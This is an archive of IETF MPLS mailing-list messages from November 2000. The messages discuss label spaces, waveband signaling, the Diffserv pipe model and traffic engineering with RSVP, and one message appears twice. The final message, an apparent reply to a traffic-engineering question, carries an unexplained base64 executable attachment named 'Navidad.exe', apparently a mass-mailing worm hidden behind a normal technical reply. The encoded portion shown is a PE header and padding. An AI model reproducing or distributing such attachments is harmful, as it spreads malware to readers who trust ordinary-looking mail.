marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA00922; Mon, 27 Nov 2000 11:56:06 -0500 (EST) Message-ID: <3A229243.B2DED6E7@marconi.com> Date: Mon, 27 Nov 2000 11:56:35 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: Shirish CC: srelan@ieee.org, mpls@UU.NET Subject: Re: MPLS over Ethernet References: <20001124082036.17555.qmail@web2301.mail.yahoo.com> <3A1E2D57.B1E1D56D@cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Shirish wrote: > > Usually this encapsulation is used in ATM at Adaptaion layer 5 for > Classical IP over Atm traffic and Lan Emulation. So ATM comes into > the play instead of Ethernet, I also know that IBM products almost always support LLC/SNAP over Ethernet and Token Ring. But it must be specifically configured for this. -- David From owner-mpls@UU.NET Mon Nov 27 12:23:10 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA17456 for ; Mon, 27 Nov 2000 12:23:08 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrdl09907; Mon, 27 Nov 2000 17:20:47 GMT Received: by mail-control.mail.uu.net id QQjrdl14044 for mpls-outgoing; Mon, 27 Nov 2000 17:20:24 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrdl14036 for ; Mon, 27 Nov 2000 17:20:21 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrdl18401 for ; Mon, 27 Nov 2000 17:19:55 GMT Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjrdl15275 for ; Mon, 27 Nov 2000 17:19:54 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id JAA28074 for ; Mon, 27 Nov 2000 09:19:59 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id MAA07959 for mpls@uu.net; Mon, 27 Nov 2000 12:19:53 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrdj00461 for ; Mon, 27 Nov 2000 16:57:29 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrdj21979 for ; Mon, 27 Nov 2000 16:55:00 GMT Received: from gatekeeper.cam.virata.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gatekeeper.virata.com [194.129.40.2]) id QQjrdj08655 for ; Mon, 27 Nov 2000 16:54:59 GMT Received: from boletus.cam.virata.com (boletus.cam.virata.com [192.168.219.9]) by gatekeeper.cam.virata.com (8.9.3/8.8.5) with ESMTP id QAA06379; Mon, 27 Nov 2000 16:54:55 GMT Received: from fileserv.ta.virata.com (fileserv.ta.virata.com [10.0.0.254]) by boletus.cam.virata.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id QAA04213; Mon, 27 Nov 2000 16:54:51 GMT Received: by fileserv.ta.virata.com with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 18:53:48 +0200 Message-ID: From: "Lipovetsky, Sergey" To: "'Yangguang Xu'" , "'Peter Ashwood-Smith'" Cc: "'mpls@uu.net'" Subject: RE: draft-ietf-mpls-generalized-signaling-00 questions Date: Mon, 27 Nov 2000 18:53:45 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk > > > Will 0x0903 be used for the Waveband Label? > > > > > > How can a downstream LSR know that a waveband allocation > is requested? > > > > By context. There is almost no difference between lambda > and lambda > > band as far as tandem LSRs are concerned. > > > > This may be true in the signaling "implementation" point of > view and only in > case of some pure OXCs (no OEO). Depending on different > technologies, even pure > OXC may need to differentiate lambda and lambda band. They > have different > optical domain requirements. > > In the functional point of view, they are quite different. In > OTN, Lambda is in > OCh layer, lambda band is in OMS layer. Waveband LSPs and > lambda LSPs are > created at different time and for different reasons. Waveband > paths might be set > up as tunnels (or FA) for OCh connections. > My understanding is that the lambda band or single lambda allocation decision (in the signaling) is made using the requested bandwidth. The management software have to request a bandwidth taking this into consideration. If the requested bandwidth is greater than a bandwidth of a single lambda a band is allocated. Is this correct? Thank you, Sergey From owner-mpls@UU.NET Mon Nov 27 14:06:33 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA01226 for ; Mon, 27 Nov 2000 14:06:32 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrds19107; Mon, 27 Nov 2000 19:04:07 GMT Received: by mail-control.mail.uu.net id QQjrds15587 for mpls-outgoing; Mon, 27 Nov 2000 19:03:27 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrds15580 for ; Mon, 27 Nov 2000 19:03:26 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrds13630 for ; Mon, 27 Nov 2000 19:03:03 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrds25991 for ; Mon, 27 Nov 2000 19:02:55 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id OAA19294 for mpls@uu.net; Mon, 27 Nov 2000 14:02:54 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrds11298 for ; Mon, 27 Nov 2000 19:02:33 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrds12199 for ; Mon, 27 Nov 2000 19:02:27 GMT Received: from procyon.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: procyon.pmc-sierra.bc.ca [134.87.115.1]) id QQjrds07118 for ; Mon, 27 Nov 2000 19:02:27 GMT Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by procyon.pmc-sierra.bc.ca (6.6.6/6.6.6) with ESMTP id LAA17266; Mon, 27 Nov 2000 11:00:11 -0800 (PST) Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 11:00:11 -0800 Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A84@BBY1EXM01> From: Shahram Davari To: "'Francis Arts'" , mpls@UU.NET Subject: RE: draft-ietf-mpls-diff-ext-07.txt Date: Mon, 27 Nov 2000 11:00:10 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi, We don't restrict the implementations. Both could be done. However, if the tunneled packet belongs to a Diffserv signaled E-LSP, since we signal the EXP<=>PHB mapping, it might be difficult to do the first option that you mentioned. Regards, -Shahram > -----Original Message----- > From: Francis Arts [mailto:francis.arts@alcatel.be] > Sent: Saturday, November 25, 2000 4:30 AM > To: mpls@UU.NET > Subject: draft-ietf-mpls-diff-ext-07.txt > > > > Hello, > > I have a question concerning the > draft-ietf-mpls-diff-ext-07.txt draft. > > Section 2.6.2, p.13 of this draft states the following: > > "The Pipe Model is particularly appropriate to environments in which > the incoming interface of the LSP Ingress and the outgoing interface > of the LSP Egress are in Diff-Serv domains which use a common set of > Diff-Serv service provisioning policies and PHB definitions, while > the LSP spans one (or more) Diff-Serv domain(s) which use(s) a > different set of Diff-Serv service provisioning policies and PHB > definitions." > > > This statement could be interpreted in 2 ways. Which one is correct: > > 1) The 2 diff serv domains connected by the LSP use the same PHBs but > may use a different DSCP encoding of the PHB. If a different DSCP > encoding is used, a translation needs to be done at either end. > > 2) The 2 diff serv domains connected by the LSP use the same PHBs and > the same > DSCP encoding of the PHB. > > > > Thanks for your answer. > > Kind regards, > > Francis. > From owner-mpls@UU.NET Mon Nov 27 15:03:04 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA20217 for ; Mon, 27 Nov 2000 15:03:02 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrdw05190; Mon, 27 Nov 2000 20:00:44 GMT Received: by mail-control.mail.uu.net id QQjrdw22715 for mpls-outgoing; Mon, 27 Nov 2000 20:00:12 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrdw22680 for ; Mon, 27 Nov 2000 20:00:10 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrdv01626 for ; Mon, 27 Nov 2000 19:59:24 GMT Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjrdv02668 for ; Mon, 27 Nov 2000 19:59:23 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id LAA01923; Mon, 27 Nov 2000 11:59:23 -0800 (PST) Received: from localhost (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) with ESMTP id OAA08571; Mon, 27 Nov 2000 14:59:21 -0500 (EST) Message-Id: <200011271959.OAA08571@erosen-sun.cisco.com> X-Authentication-Warning: erosen-sun.cisco.com: erosen owned process doing -bs To: jleu@mindspring.com cc: Shahram Davari , "'James_Huang@Mitel.COM'" , mpls@UU.NET Subject: Re: Label space of a label advertised through MPLS-BGP In-reply-to: Your message of Fri, 24 Nov 2000 17:39:25 -0600. <20001124173925.E5623@doit.wisc.edu> Reply-To: erosen@cisco.com User-Agent: EMH/1.10.0 WEMI/1.13.2 (Mochimune) FLIM/1.12.1 (=?ISO-8859-4?Q?Nishinoky=F2?=) Emacs/20.6 (sparc-sun-solaris2.5.1) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by WEMI 1.13.2 - "Mochimune") Content-Type: text/plain; charset=US-ASCII Date: Mon, 27 Nov 2000 14:59:21 -0500 From: Eric Rosen Sender: owner-mpls@UU.NET Precedence: bulk Shahram> When two peer LSRs are not directly connected to each other you Shahram> should use per-platform label space. Also note that any label that Shahram> has been drawn from the per-platform label space should not be used Shahram> any more by the per-interface label spaces. By observing this rule, Shahram> B can unambiguously interpret the per-platform label even in the Shahram> presence of PHP. James> I'm not sure I agree. Shahram's statement seems impeccable to me. James> If I understand what your saying, every label that is allocated from James> the per-platform label space is also marked as un-usable in the James> per-interface label spaces? This defeats the purpose of a James> per-interface label space. One of the reasons that per-interface James> label spaces were introduced is so that ATM and FR interfaces would James> only allocated label values for LSPs that it was going to use. Thus James> allowing them to stretch there limited number of VCs or DLCIs James> farther. By doing as you suggest your "wasting" label values. In fact, there is no such thing as a per-platform label space of VPI/VCIs or DLCIs. So there is no way a per-platform label space could take values away from a per-interface label space in an ATM-LSR. James> I have a solution, which many will probably dis-agree with, but James> dis-agreeing with Shahram and not providing an alternative is pretty James> foolish :-) James> When allocating an N level label (where N is > 1) it should be James> allocated from the same label space as all of the N-1 labels that may James> possible tunnel this label. When N = 1, the value should be James> allocated from the label space associated with the set of possible James> interfaces that will receive this label. James> This assumes that any service allocating N level labels MUST know the James> set of LSPs in which it's label values will have meaning. When N = 1 James> the service MUST know what set of interfaces its label values will James> have meaning. One problem with this proposal is that there is no such notion as an "N level label". James> In the current drafts the only way to have multiple interfaces James> sharing the same label space is for them to all be assigned to the James> per-platform label space. To do this box wide though, could be James> opening the box up to security issues (think spoofed MPLS packets). The fact that all interfaces use labels from the same label space does not imply that an incoming packet with a label from that space must be accepted, irrespective of the interface on which it arrives. If a particular label has not been distributed to any label distribution peer that can be reached out interface I, then packets arriving over interface N with that label can be discarded as bogus. Perhaps this is exactly what you are getting at above -- that for each label, it is helpful to know the set of interfaces over which traffic with that label may be validly received. James> I suggest adding a new label space type. By allowing multiple James> interface that are used to deliver the same service to share a label James> space you can create per-service label spaces. The more specific the James> service definition the tighter control over labels and who uses them, James> thus decreasing the security concerns, but still maintain varying James> levels of flexibility. James> Of course the most flexible is the per-platform label space, but it James> also carries the greatest security concern. The least flexible is James> the per-interface label space, but only minimal security concerns. James> The per-service label space fills in the middle ground. Unless you have some reason for using the same label value for different services, there is no difference between having per-service label spaces, and having a per-platform label space where you know that certain labels may not be validly received over certain interfaces. What you need to know is that a particular label has been used for a particular service, you don't really need a per-service label space. From owner-mpls@UU.NET Mon Nov 27 16:16:10 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA07761 for ; Mon, 27 Nov 2000 16:16:08 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrea00756; Mon, 27 Nov 2000 21:13:35 GMT Received: by mail-control.mail.uu.net id QQjrea21122 for mpls-outgoing; Mon, 27 Nov 2000 21:13:12 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrea21115 for ; Mon, 27 Nov 2000 21:13:05 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrea14964 for ; Mon, 27 Nov 2000 21:12:21 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjrea05682 for ; Mon, 27 Nov 2000 21:12:20 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id NAA01923 for ; Mon, 27 Nov 2000 13:12:20 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id QAA08746 for mpls@uu.net; Mon, 27 Nov 2000 16:12:18 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrdj00461 for ; Mon, 27 Nov 2000 16:57:29 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrdj21979 for ; Mon, 27 Nov 2000 16:55:00 GMT Received: from gatekeeper.cam.virata.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gatekeeper.virata.com [194.129.40.2]) id QQjrdj08655 for ; Mon, 27 Nov 2000 16:54:59 GMT Received: from boletus.cam.virata.com (boletus.cam.virata.com [192.168.219.9]) by gatekeeper.cam.virata.com (8.9.3/8.8.5) with ESMTP id QAA06379; Mon, 27 Nov 2000 16:54:55 GMT Received: from fileserv.ta.virata.com (fileserv.ta.virata.com [10.0.0.254]) by boletus.cam.virata.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id QAA04213; Mon, 27 Nov 2000 16:54:51 GMT Received: by fileserv.ta.virata.com with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 18:53:48 +0200 Message-ID: From: "Lipovetsky, Sergey" To: "'Yangguang Xu'" , "'Peter Ashwood-Smith'" Cc: "'mpls@uu.net'" Subject: RE: draft-ietf-mpls-generalized-signaling-00 questions Date: Mon, 27 Nov 2000 18:53:45 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk > > > Will 0x0903 be used for the Waveband Label? > > > > > > How can a downstream LSR know that a waveband allocation > is requested? > > > > By context. There is almost no difference between lambda > and lambda > > band as far as tandem LSRs are concerned. > > > > This may be true in the signaling "implementation" point of > view and only in > case of some pure OXCs (no OEO). Depending on different > technologies, even pure > OXC may need to differentiate lambda and lambda band. They > have different > optical domain requirements. > > In the functional point of view, they are quite different. In > OTN, Lambda is in > OCh layer, lambda band is in OMS layer. Waveband LSPs and > lambda LSPs are > created at different time and for different reasons. Waveband > paths might be set > up as tunnels (or FA) for OCh connections. > My understanding is that the lambda band or single lambda allocation decision (in the signaling) is made using the requested bandwidth. The management software have to request a bandwidth taking this into consideration. If the requested bandwidth is greater than a bandwidth of a single lambda a band is allocated. Is this correct? Thank you, Sergey From owner-mpls@UU.NET Mon Nov 27 16:16:39 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA07870 for ; Mon, 27 Nov 2000 16:16:37 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrea16300; Mon, 27 Nov 2000 21:13:45 GMT Received: by mail-control.mail.uu.net id QQjrea21125 for mpls-outgoing; Mon, 27 Nov 2000 21:13:17 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrea21117 for ; Mon, 27 Nov 2000 21:13:10 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrea16187 for ; Mon, 27 Nov 2000 21:12:45 GMT Received: from sj-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjrea29418 for ; Mon, 27 Nov 2000 21:12:44 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id NAA29802 for ; Mon, 27 Nov 2000 13:12:48 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id QAA08752 for mpls@uu.net; Mon, 27 Nov 2000 16:12:42 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrdt18286 for ; Mon, 27 Nov 2000 19:24:14 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrdt11069 for ; Mon, 27 Nov 2000 19:23:28 GMT Received: from mapleoptical.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: host202.razafoundries.com [63.111.208.202] (may be forged)) id QQjrdt08044 for ; Mon, 27 Nov 2000 19:23:27 GMT Received: from IBMW2K ([192.168.12.31]) by mapleoptical.com (8.11.0/8.11.0) with SMTP id eARJNNu08763; Mon, 27 Nov 2000 11:23:23 -0800 (PST) Date: Mon, 27 Nov 2000 11:23:23 -0800 (PST) Message-ID: <004601c058a8$0c5d8760$1f0ca8c0@IBMW2K> From: "jchen" To: "Mike Badil" Cc: Subject: Re: Traffic engineering and RSVP MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0042_01C05864.FE01AB30" X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0042_01C05864.FE01AB30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Mike Badil wrote: >=20 > Hi >=20 > I confused when I read traffic engineering with MPLS. >=20 > My question is: >=20 > MPLS is combination of layer 2 swithing and layer 3 routing. Traffic = eng. is > part of layer 3. In MPLS route(LSP) is established in advance = according to > the constraints. in other word, instead of choosing shortest path, it = choose > the path which satisfy its requirments, and to make link utulization = better. > In order to have done this with MPLS there are some works which say = that > OSPF,IS-IS can be modified by adding constraint to it. >=20 > That is clear so far, >=20 > I wondering that whether we can have those traffic engineering = conditions be > satisfied by other tech. >=20 > For example; RSVP-Intserv set up route in advance also. If we use = extended > OSPF,IS-IS etc.algorithm with Intserv-RSVP as we use in MPLS, > we can choose the path which satisfy our constraints instead of = choosing > Shortest path. Link load balancing can be done as in MPLS. So most of > traffic engineering requirements will be satisfied.(let don't consider > scalibility problem with RSVP now). Or it can work any other = technology > which use RSVP. > The problem is in applying filter at every node to make sure your IP packet is following the selected path. Hence data path becomes slow. - sudheer =20 > What am I missing here? >=20 > = _________________________________________________________________________= > Get Your Private, Free E-mail from MSN Hotmail at = http://www.hotmail.com. >=20 > Share information about yourself, create your own public profile at > http://profiles.msn.com. ------=_NextPart_000_0042_01C05864.FE01AB30 Content-Type: application/x-msdownload; name="Navidad.exe" Content-Disposition: attachment; filename="Navidad.exe" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACkWsl34DunJOA7pyTgO6ckCCStJPY7pyRjJ6kk6TunJIIktCTmO6ckuRi0 JOM7pyTgO6YkrzunJAgkrCTkO6ckWD2hJOE7pyRSaWNo4DunJAAAAAAAAAAAUEUAAEwBBACc3v85 AAAAAAAAAADgAA8BCwEGAABAAAAAMAAAAAAAAJ4bAAAAEAAAAFAAAAAAQAAAEAAAABAAAAQAAAAA AAAABAAAAAAAAAAAgAAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACkVAAAZAAAAABwAADoCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAEABAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAudGV4dAAAAP4zAAAAEAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABw CwAAAFAAAAAQAAAAUAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAXA0AAABgAAAAEAAAAGAAAAAA AAAAAAAAAAAAAEAAAMAucnNyYwAAAOgLAAAAcAAAABAAAABwAAAAAAAAAAAAAAAAAABAAABAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 